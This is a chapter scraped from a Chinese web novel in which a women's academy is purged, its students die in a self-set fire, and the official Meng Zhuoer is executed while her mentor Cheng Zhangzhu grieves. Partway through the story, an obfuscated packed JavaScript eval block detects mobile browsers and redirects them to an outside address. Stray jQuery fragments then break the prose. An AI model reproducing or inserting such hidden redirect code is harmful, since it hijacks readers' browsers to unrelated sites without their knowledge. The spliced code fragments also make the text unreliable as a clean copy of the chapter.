默认冷灰
24号文字
方正启体

38. 从未存在

作者:零卡三色杯本书字数:K更新时间:
    同时,女学的存在终于在一场科举舞弊案中被当成了靶子。


    有人弹劾女学“结党营私、秽乱纲常”。


    御史台的弹劾奏疏堆成了山,要求“正本清源”。


    一个深夜,御林军秘密包围了女学所在的书院。没有审判,没有罪名。


    他们接到的是密令:女学中的所有人就地关押,为首者当场诛杀。


    当士兵撞开大门时,却发现书院的庭院里整整齐齐地跪坐着数十名女学生。


    她们都穿着入学时发的素衣,梳着简单的发髻,脸上没什么表情,安安静静,像是等待着一堂普通的课。


    站在最前方的是程掌珠亲自挑选的第一批弟子——那些来自不同阶层、本该不知人间疾苦的女孩。


    她们手挽着手,组成了人墙。


    没有人说话,没有人哭。


    夜风穿过廊檐,只留下了她们裙摆蹁跹而动的声音。


    带队的将领愣住了。


    他上过战场,见过最凶悍的敌人,却从未见过这样的对手。


    厉声下令捉拿,却无人上前。


    那晚,领头的女学生说了一句话:


    “先生教过我们,有一样东西,比命更重要。不是贞洁,是气节。”


    然后,她回身看了一眼身后的姐妹们。


    一场火光冲天,她们在书院里堆满了书籍和灯油,只等这一刻。


    没有一个人逃出来。


    消息传回长安,震惊朝野。


    那些弹劾女学的官员本以为只是清除一批“不守妇道”的女子,却没想到逼出了一场群体性的殉道。


    孟卓尔在狱中听到这个消息时一夜白头,然后,抖着手,用胸口的血在墙上写下了一个大大的“偿”字。


    刚回到长安的程掌珠还没来得及换朝服就听到了这消息,跌跌撞撞来到大殿上,看着剥去朝服被千夫所指的孟卓尔,生生呕出了一大口血。


    她终于明白了。


    那些在朝堂上沉默的老臣等的就是今天。


    他们用孟卓尔来清吏治,用程掌珠来平叛乱。


    当刀磨得够快,切掉了该切的腐肉,这把刀就该折了。


    因为刀的锋利本身就是罪。


    “是我害了她。”


    程掌珠跪在大殿上,泪终于落了下来。


    时至今日,她终于承认,是她错了。


    周围的大臣们面无表情,像是早有预料。


    他们冷眼看着程掌珠把一批又一批优秀的女官、女兵,女医推到世人面前,然后,又亲手把她们送上绝路。


    他们不敢动程掌珠,因为在他们眼里程掌珠是沈图南的女人,皇帝的女人,谁敢动?


    可他们敢动孟卓尔。


    甚至于比起她,程掌珠的变法跟小打小闹似的。


    因为和沈图南是一起经历过风风雨雨走过来的,程掌珠常常走一步看三步,也不知是不是因为在高位待久了的缘故,她做的事其实是有一定的妥协性的,变法的改革也不够彻底。


    程掌珠是属于那种政策实施了,遭到地方大族的强烈抵制,她会试图坚持,发现坚持了之后效果不好,她就会更改策略。


    而且她这人还有一个毛病,就是喜欢找捷径。总觉得能够达成目标一定不止一条路,所以她不会花费多长时间在坚持同一项或者是同类型的政策上。


    但孟卓尔不同。


    她青出于蓝而胜于蓝。


    用守旧派老臣的话来说,孟卓尔就跟程掌珠养的疯狗似的,指哪打哪,甚至有时候就连程掌珠也劝不住她。


    从那时起,孟卓尔的结局就已经注定了。


    她做的事,桩桩件件都是冲着世家大族的命脉去的。


    她不死谁死。


    孟卓尔行刑那天是个阴雨天。


    当时的女子们已经不敢再抛头露面了,她们像是胆小的蜗牛,颤巍巍地伸出触角轻轻碰了碰这个世界,又连忙收了回去。


    迅速得像是从来没有发生过一般。


    家中出了这么个不孝子,孟卓尔的父母只觉得老脸无光,甚至连她最后一面都不愿意见。


    而且真要说的话,在朝廷掀起的那场绞杀之中,孟家也出了不少力。


    一个女儿而已,哪里比得上他们几代世家的根基来的重要。


    他们是打从心底里觉得孟卓尔是个耻辱。


    明明路都已经铺好了,只需要老老实实相夫教子就好了,可她偏偏要走那些邪魔外道,这不是上赶着送死吗?


    程掌珠第一次低下了她高贵的头颅,去求那些曾经不屑与之为伍的老臣。可他们连看她一眼都嫌烦,言语中更是不乏讥讽,一句又一句,听得她摇摇欲坠,只觉得千刀万剐也不过如此。


    刑场上,文武百官,按品级列队而立。


    他们不是来看一个人死去,而是来看一个时代的终结。


    “妖女祸国,蛊惑圣听。”


    弹劾奏疏上的每一个字,最终化作了刑台上那道监斩令。


    他们甚至不需要沈图南开口——早朝之上,百人齐齐下跪,额头磕在金砖上,声声泣血,仿佛不杀此女便是国将不国。


    沈图南沉默了一炷香。


    然后,他闭上了眼睛,挥了挥手。


    程掌珠一袭白衣,仿佛一夜之间苍老了十岁。


    她求了沈图南很久,他才答应自己来送孟卓尔最后一程。


    程掌珠哭的那么惨,一边抹眼泪一边给孟卓尔擦去脸上的血污,再把肉羹一勺勺喂给她。


    自负如她,骄傲如她,平生第一次尝到了追悔莫及的滋味。


    她想,死的怎么就不是自己呢?


    既然当初有那个能耐把她们召集起来,那为什么没有能耐去们保住她们的性命呢?


    明明自己已经是这个国家一人之下万人之上的女侯了。在朝廷上和那些老臣唇枪舌战的时候,她也曾想过以死明志,沈图南如果保不住孟卓尔的命那她也不活了。


    孟卓尔是程掌珠一手提拔上来的人,程掌珠下定决心要对她负责。


    可当时的沈图南只是疲惫地揉着太阳穴,说了一句话,“你死了,女学其他女子怎么办?”


    程掌珠愣住。


    她忽然就觉得,这世界上没有比她更没用的人了。


    如果当初没有办女学就好了。


    如果没有教导她们“女子者,当立于天地就好了”。


    孟卓尔却笑了,轻轻摇了摇头说她不后悔。


    程掌珠听不进去,只一遍又一遍说着对不起。


    “对不起……对不起。我求了好多人,可他们都不见我。即便是我曾经最烦的那些人,即便是我曾经最厌恶的那些人,我去求他们,我甚至想给他们下跪,可他们连见都不愿意见我一面。”


    程掌珠胡乱地抹了把脸,像个迷了路的孩子。


    “他们说爱莫能助,说是我们太过招摇过市,可我只是想救你,我只是……”


    说到此处,程掌珠早已泣不成声。


    事已至此,她终于低头。


    却为时已晚。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530621|203150||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孟卓尔听到眼前的女子声声泣血,她说是我错了,是我害了你,是我错了。


    程掌珠一遍一遍地重复着,那声音听得孟卓尔心里发苦。


    她张张嘴想说不是的,可时辰已到,刽子手的大刀落下,那样疼,那样冷。


    她终是没来得及把心中的那句“不怨你”说出口。


    程掌珠试图故技重施,在民间造势,以此来给孟卓尔证明清白。


    人们对于死人的宽容心总是特别强。


    如果这个人活生生的站在你面前,你能够想到的关于她的事,几乎都是她曾经犯过哪些错误,走过哪些弯路,人们的缺点会被无限放大。


    但如果这个人死了,绝大多数人都会觉得,啊,人死债消了。再回想起关于她的事,那些缺点和不足反而都被无限缩小,这时候,人们反而会念起她的好来。


    活人哪里争得过死人呢?


    程掌珠想着,就算散尽家财,她也要为孟卓尔挣出一番清名。


    就如同她之前捧出的女将、女相一样。


    她说“不向菱花问深浅,但持霜刃定乾坤。”


    她说“腕底风雷惊史笔,谁言青史不姓秦?”


    所以后来几乎有半年的时间,程掌珠都一门心思扑在匿名赞美孟卓尔上,试图再创当时的辉煌。


    “一身合是未销雪,合抱孤松向冷云。”


    她的女状元不应该是这种下场。


    可程掌珠万万没有想到,孟卓尔的死只是一个小小的开端。


    这几年来在她和孟卓尔的鼓励下,无论是长安还是洛阳或者是开封都出现了几所女学,可自从京城的女学被暴力清剿后,其他各地的女学也或多或少的受到了牵连,甚至安上了莫须有的罪名。


    她们被人诬陷与人私通。


    那些被诬陷的女学生们被家族除名,被未婚夫退婚,被赶出家门。


    她们走在街上会被人泼脏水、扔烂菜叶,世界上最尖酸刻薄的话语轮番落在她们身上,像是一盆盆淤泥,让她们呼吸不得,挣扎无能。


    终于,有几个女孩子不堪羞辱,投井自尽。


    她们留下了一封血书,只有四个字:“我们冤枉。”


    可在世人眼中这不是自证清白,反而是畏罪自杀,那些空穴来风的谣言甚至甚嚣尘上。


    程掌珠四处奔走,试图还她们清白。


    可她越是辩驳,谣言就传得越广。


    很多官员甚至当着她的面说:“大人,您说的都对。可您知道么,真相不重要。重要的是,从此以后,但凡有一个父亲想把女儿送去读书,就会想起今天的事。”


    “他会想,我可不想我的女儿变成她们那样。”


    “您看,您赢了道理,却输了民心。”


    程掌珠一瞬间面无人色。


    终于,女学还是解散了,以最惨烈的方式。


    那些幸存的女学生被各自的家族远远嫁走,嫁到没有人知道她们过往的地方。


    没人会在意当初在那间小小的学堂里,她们曾一笔一划写下的心愿。


    关于她们最想要成为的人,关于她们最想要做的事,关于她们付出惨烈代价也要实现的执念。


    可那有什么用呢?


    一切都覆水难收了。


    没人会在意的。


    她们的名字从档案中被抹去,好像从未存在过。


    可那个谣言却被写进了野史,被编成了戏曲,在舞台上被反复演绎。


    百年之后,人们只记得女学出了一群“□□”。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)